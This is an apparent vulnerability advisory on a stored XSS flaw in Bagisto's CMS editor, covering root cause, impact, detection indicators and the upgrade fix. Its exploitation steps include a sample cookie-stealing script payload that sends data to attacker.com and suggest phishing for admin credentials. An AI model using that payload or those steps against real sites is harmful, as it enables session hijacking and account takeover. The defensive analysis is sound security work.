CVE-2026-21451: 
PHP vulnerability analysis and mitigation

CVE-2026-21451 is a stored Cross-Site Scripting (XSS) vulnerability in Bagisto, an open-source Laravel eCommerce platform, affecting all versions prior to 2.3.10. The flaw exists within the CMS page editor, where the platform's HTML sanitization of <script> tags can be bypassed by manipulating the raw HTTP POST request before submission, allowing arbitrary JavaScript to be stored and executed in the admin context. It was discovered by 株式会社CyberCrew (cybercrew-analyst) and disclosed on January 2, 2026 via GitHub Advisory GHSA-2mwc-h2mg-v6p8. The vulnerability carries a CVSS v3.1 base score of 8.4 (High) and a CVSS v4.0 base score of 5.2 (Medium) (Github Advisory, Bagisto Advisory).

The root cause is insufficient server-side input sanitization, classified as CWE-79 (Improper Neutralization of Input During Web Page Generation) and CWE-80 (Improper Neutralization of Script-Related HTML Tags). Bagisto's CMS editor applies sanitization only at the UI layer — wrapping <script> content in <div> elements — but the underlying HTTP endpoint (/admin/cms/edit/{id}) performs no equivalent server-side filtering. An attacker with admin credentials can intercept the CMS update request using a proxy tool (e.g., Burp Suite) and inject raw <script> tags directly into the en[html_content] POST parameter, bypassing the UI-level controls entirely. The malicious payload is then stored in the database and executed in the browser of any administrator who views or edits the affected CMS page (Bagisto Advisory, Github Advisory).

Successful exploitation allows an attacker with admin-level access to store arbitrary JavaScript that executes in the browser context of any administrator who subsequently views or edits the compromised CMS page. This enables complete administrator account takeover via session hijacking, unauthorized backend actions, defacement or injection of malicious content into public-facing storefront pages, and potential full application compromise. The scope extends beyond the vulnerable system itself, as injected scripts can affect subsequent systems and users interacting with the storefront (Bagisto Advisory, Github Advisory).

A public proof-of-concept (PoC) exploit is available on GitHub at https://github.com/Ashwesker/Ashwesker-CVE-2026-21451, published on January 4, 2026, and a video PoC demonstrating the bypass and script execution was also released by the reporter (Github Advisory). The CVSS v4.0 exploit maturity is rated as PROOF_OF_CONCEPT. The EPSS score is approximately 0.071% (0.000710), indicating a low but non-zero probability of exploitation in the wild. Exploitation requires high privileges (admin access), which limits the attack surface, but no evidence of in-the-wild exploitation has been reported, and the vulnerability is not listed in the CISA KEV catalog (Github Advisory).

1. Gain Admin Access: Obtain valid administrator credentials for the target Bagisto instance (e.g., through phishing, credential stuffing, or insider access).
2. Navigate to CMS Editor: Log in to the admin panel and navigate to a CMS page edit endpoint such as /admin/cms/edit/1.
3. Intercept the Request: Configure a proxy tool (e.g., Burp Suite) to intercept the outgoing HTTP POST request when saving the CMS page.
4. Inject Malicious Payload: Modify the en[html_content] POST parameter to include a raw <script> tag with arbitrary JavaScript, e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>, bypassing the UI-layer sanitization.
5. Submit the Modified Request: Forward the manipulated request to the server; the backend accepts and stores the payload in the database without server-side sanitization.
6. Trigger Execution: Wait for another administrator (or the same admin) to view or edit the compromised CMS page — the stored script executes in their browser with full admin privileges, enabling session token theft, account takeover, or further malicious actions (Bagisto Advisory, Github Advisory).

• Network: Unusual outbound HTTP requests from administrator browsers to unknown external domains (e.g., attacker-controlled cookie-harvesting endpoints) originating after CMS page views.
• Logs: Web server access logs showing POST requests to /admin/cms/edit/{id} or similar CMS update endpoints with unusually large or encoded html_content payloads; requests that differ structurally from normal UI-submitted requests (e.g., missing expected UI-generated fields).
• Database: CMS page content in the database containing raw <script> tags or obfuscated JavaScript within html_content fields that would not normally be present after UI-based editing.
• File System: Unexpected modifications to CMS page records with timestamps inconsistent with normal administrative activity.
• Browser/Session: Unexplained administrator session invalidations, new admin accounts created without authorization, or unauthorized configuration changes following CMS page views (Bagisto Advisory).

Upgrade Bagisto to version 2.3.10 or later, which implements server-side sanitization of html_content during CMS create and update operations to prevent stored XSS (Bagisto Release). The fix commit (f533b1c) also adds sanitization for product review attachments (Bagisto Commit). As interim workarounds, restrict CMS page editor access to the minimum number of trusted administrators, implement a Web Application Firewall (WAF) rule to detect and block <script> tags in POST body parameters, and audit existing CMS pages for any injected malicious content. The advisory recommends implementing server-side sanitization using HTMLPurifier or Laravel Purifier as a defense-in-depth measure (Github Advisory).

The vulnerability was responsibly disclosed by 株式会社CyberCrew, a Japanese cybersecurity company, after their initial attempt to contact Bagisto via the designated security email address failed. The advisory notes the reporter submitted the finding through GitHub's responsible disclosure process as a result (Bagisto Advisory). A technical write-up was published at https://infinitsec.net/posts/cve-2026-21451-bagisto-has-html-filter-bypass-that-enables-stored-xss, and the vulnerability was tracked by multiple security aggregators including CIRCL, VulnDB, and INCIBE-CERT shortly after disclosure.